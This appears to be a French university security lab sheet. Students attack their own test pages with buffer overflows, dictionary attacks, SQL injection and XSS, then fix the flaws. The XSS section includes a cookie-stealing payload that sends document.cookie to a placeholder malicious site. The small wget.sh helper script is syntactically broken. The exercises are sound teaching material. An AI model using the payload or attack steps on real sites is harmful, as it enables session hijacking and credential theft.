Voir mise en garde du cours sur l'accès frauduleux dans un système.

* 1h Buffer overflow
Exécuter l'exemple du cours sur le buffer overflow.  Vérifier que vous
avez le bug.  Faire afficher les adresses de pass et de buff (printf avec
%p).  Corriger l'exemple pour immuniser contre l'attaque.  Tester aussi le
bon mot de passe.

* 1h Race condition
Utiliser l'exemple du cours pour faire un programme en C où le montant se
trouve dans un fichier.  Initialiser le montant à 1000 et faire de
nombreuses exécutions en parallèle qui retirent 1€.

* 2h Attaque du dictionnaire
On vous demande de trouver le mot de passe (mdp) utilisé sur une page Web.
On considère qu'on connaît le login et on sait que la page affiche le
texte "Erreur" si le mdp n'est pas bon.

Si un serveur Web et le logiciel wget sont disponibles, faire deux pages
PHP : un formulaire GET avec un champ mdp, et une page qui affiche
"Erreur" si mdp n'est pas bon.  Le mdp est Bucarest.  Pour faire simple,
dans ce TP le mdp se trouve dans le fichier PHP même (si vous connaissez
bien PHP/MySQL, mettez le mdp dans une BD, comme en réalité).  Ensuite,
pour faire des tests, utiliser : wget http://...

(
Si ces deux logiciels ne sont pas disponibles, mimez-les en utilisant
wget.sh http://x.y.fr/?mdp=xyz, où wget.sh est :
mdp=`echo $1 | cut -d= -f2`
if [ x$mdp -eq xBucarest ]; then
  echo Connexion réussie
else
  echo Erreur
)

1. En supposant qu'on sait que le mdp a 8 caractères, calculer combien de
   temps l'attaque brute (on teste chacun des 64 caractères possibles)
   prend-elle en moyenne (çàd pire cas divisé par deux, au milieu) sachant
   qu'on peut faire 1 million de tests par seconde ?

2. Utiliser le dictionnaire qui se trouve à
   https://sources.debian.org/data/main/h/hunspell-fr/1:5.7-1/fr-classique.dic
   pour trouver le mdp.  Combien de temps prend votre programme pour
   trouver le mdp ?

3. Écrivez sur papier les méthodes que vous proposez pour corriger cette
   vulnérabilité.

* 2h30 Hash, sel et poivre
Si quelqu'un arrive à récupérer le fichier Web ou la BD par des moyens
autre que notre page Web (par ex. grâce à une vulnérabilité du serveur
même), il trouvera le mdp, car il est stocké en clair.  Pour éviter cela,
on utilise des fonctions de hachage : on stocke le hash des mdp au lieu
des mdp.  Nous allons utiliser sha2 avec hash de taille de 224 bits.

1. Comment la page Web doit-elle être modifiée pour prendre en compte le
   hash ?

2. Sans hachage, les mdp étaient en clair.  Avec hachage, elle ne le sont
   plus.  Appliquer l'attaque du dictionnaire pour trouver chacun des
   mdp.  Comme on a le hash du mdp, on peut faire l'attaque sur notre
   machine, plus rapide, au lieu de passer par le serveur Web.  Combien de
   temps prend votre programme pour trouver le mdp ?

3. Une attaque possible est la table de hachage : en plus du dictionnaire,
   l'attaquant crée aussi une table avec le hash de chaque mot.  L'attaque
   du dictionnaire est ainsi très rapide : c'est une histoire de comparer
   si un hash se trouve dans la table.  Éviter cette attaque en utilisant
   un sel.

4. Renforcer la sécurité de votre système en y ajoutant un poivre.

* 1h30 Injection SQL dans PHP/MariaDB/MySQL
Créez une BD avec une table contenant deux colonnes, login et mdp.
Populez-la avec :
eugen pass1
pierre pass2
paul pass3

Créez une page Web en PHP contenant un formulaire avec un champ login, et
une deuxième page qui affiche le mdp associé au login cherché.

1. En utilisant une injection SQL, remplissez le formulaire pour faire
   afficher tous les logins et mdp associés.

2. Faites les modifications nécessaires pour éviter l'injection SQL.

3. Corriger aussi l'attaque XSS.

* 2h30 JavaScript XSS
Créez une page Web en PHP qui affiche le paramètre texte de l'URL.

1. Créez un lien qui amène à cette page avec le paramètre texte suivant :
   J'aime les fleurs !<script>alert('Vulnérable')</script>

Faites semblant être un utilisateur qui reçoit ce lien par mél ou qui le
voit sur une page Web en cliquant dessus.

2. Remplacer l'alert par :
  (new Image()).src = "http://sitemechant/?cookies=" + document.cookie;

Le site méchant stocke le paramètre cookie à chaque appel.  À noter qu'on
n'a pas affiché l'image, donc l'utilisateur ne voit pas l'attaque.

3. Corriger la page pour éviter cette attaque (XSS réfléchi).



4. On pourrait penser qu'un utilisateur averti ne sera pas touché par ce
   bug, car il ne clique pas sur ce type de liens.  Toutefois, même à son
   insu il peut être attaqué si le site est vulnérable, en utilisant
   l'attaque XSS stocké.

Pour cela, créer une BD avec une table avec un colonne.  La page affiche
toutes les entrées de la colonne, ensuite un formulaire avec un champ
texte qui, lors de l'envoi, s'ajoute à la table.  Attaquez ce site en
récupérant les cookies de tous les utilisateurs lorsqu'ils s'y connectent.

5. Corriger cette vulnérabilité (XSS stocké).